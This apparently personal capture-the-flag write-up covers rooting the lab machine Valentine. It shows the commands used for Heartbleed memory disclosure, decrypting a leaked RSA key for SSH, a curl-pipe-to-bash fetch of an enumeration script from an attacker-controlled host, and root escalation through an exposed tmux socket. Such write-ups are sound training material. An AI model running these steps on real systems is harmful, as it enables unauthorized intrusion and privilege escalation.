I finished Valentine back in May but it retired recently so I thought I’d post a writeup of how I got to root on this box.
Valentine is a Linux machine running a web service that is vulnerable to Heartbleed. This vulnerability was leveraged to gain a password dumped from memory. The password was combined with an encrypted RSA key found in a web directory to gain SSH access on the host. From there, a process running as root was accessed to gain an interactive shell with elevated privileges.
I started this off as usual with a
nmap -sV -sC scan to enumerate service versions and run default scripts:
I was able to see SSH was open and there were web services running on 80 and 443. When I visited each of the web services, they both returned the same homepage with no hyperlinks or directories listed in the sourcecode. Each of these services returned OS information indicating an Ubuntu host.
I then moved on to enumerating web directories with gobuster:
gobuster -k -u https://10.10.10.79 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
-kto ignore SSL certificate (otherwise the self-signed cert throws an error)
-uto specify URL
-wto specify wordlist
From here, I went to the
/dev directory to at least see what was there. I found two files:
The other file,
hype_key, looked like a bunch of hex values. I pulled it into a file using curl and it looked like this:
curl -k https://10.10.10.79/dev/hype_key > hype_key
I was able to put this in Burpsuite and decode it from ASCII hex to plaintext and it was an encrypted RSA key with a body that was poorly formatted:
Ok, so we know that something in here should look like an RSA key. But there’s a lot of extra space characters making it look super a e s t h e t i c. I decided to convert the file with python and strip the space characters out in just a couple of lines.
The final product looked exactly how it was supposed to!
Great! But without a password, this key isn’t very useful. So I had to go back to the server and find something else to poke at. The pages at the
/decode directories appeared to be simple base64 converters. The source code wasn’t visible on the page and there were no links to anything else on the pages, so I felt like that wasn’t a rabbit hole worth falling into.
The Heartbleed logo on the homepage was a significant hint to what this box was about. And since I didn’t find much else on the box, I ran a searchsploit and found there were a couple exploit scripts available for this as well as some metasploit modules. One that worked well for me was titled “OpenSSL TLS Heartbeat Extension — ‘Heartbleed’ Memory Disclosure”. In kali, the file name is located at
This exploit was very messy when the box was receiving more traffic. I revisited it to run the exploit for the gist after it was retired and the only thing in the memory dump was exactly what I needed. However, with other traffic hitting the server, I had to run the exploit multiple times to get the right information to dump. Anyway, what I needed was:
This was getting passed into
/decode.php so we can try to base64 decode it:
echo aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg== | base64 -d
This returns the string
heartbleedbelievethehype which we can try to use to decrypt the RSA key:
openssl rsa -in python.key -out new.key
When prompted, enter the password, and a new RSA key is written into a file named
new.key! We can use this key to SSH into Valentine… but what’s the user? This step just took blind guessing but eventually I guessed based off of the key and password to try the user
hype with the following command:
ssh email@example.com -i new.key
And I was in! I was able to get the
user.txt flag from here.
From here, I did my typical enumeration for a Linux host. I ran LinEnum.sh and began examining the output to get more context to what’s taking place on the host and what I have access to.
My favorite way to run this is by placing this bash script in a directory in Kali and hosting it using a python SimpleHTTPServer:
python -m SimpleHTTPServer 80
Then on the remote machine, curl the script on and piping it straight into bash:
curl http://X.X.X.X/Linenum.sh | bash
No files written on the host!
Anyway, as much as that returns, I wasn’t able to directly identify my privesc path with this script. I had to get my hands dirty and climb around the host manually. There was a hidden
.dev folder right off the root directory. This caught my eye and I found a file named
dev_sess in it that was owned by
root but was executable by everyone.
file command on
dev_sess returned that it was a ‘socket’. A little GoogleFu later and I discovered that the program
tmux can connect to these files and return interactive shells with them! Let’s give it a shot:
tmux -S /.devs/dev_sess
Sure enough, this returned a shell that was running as root! Game over.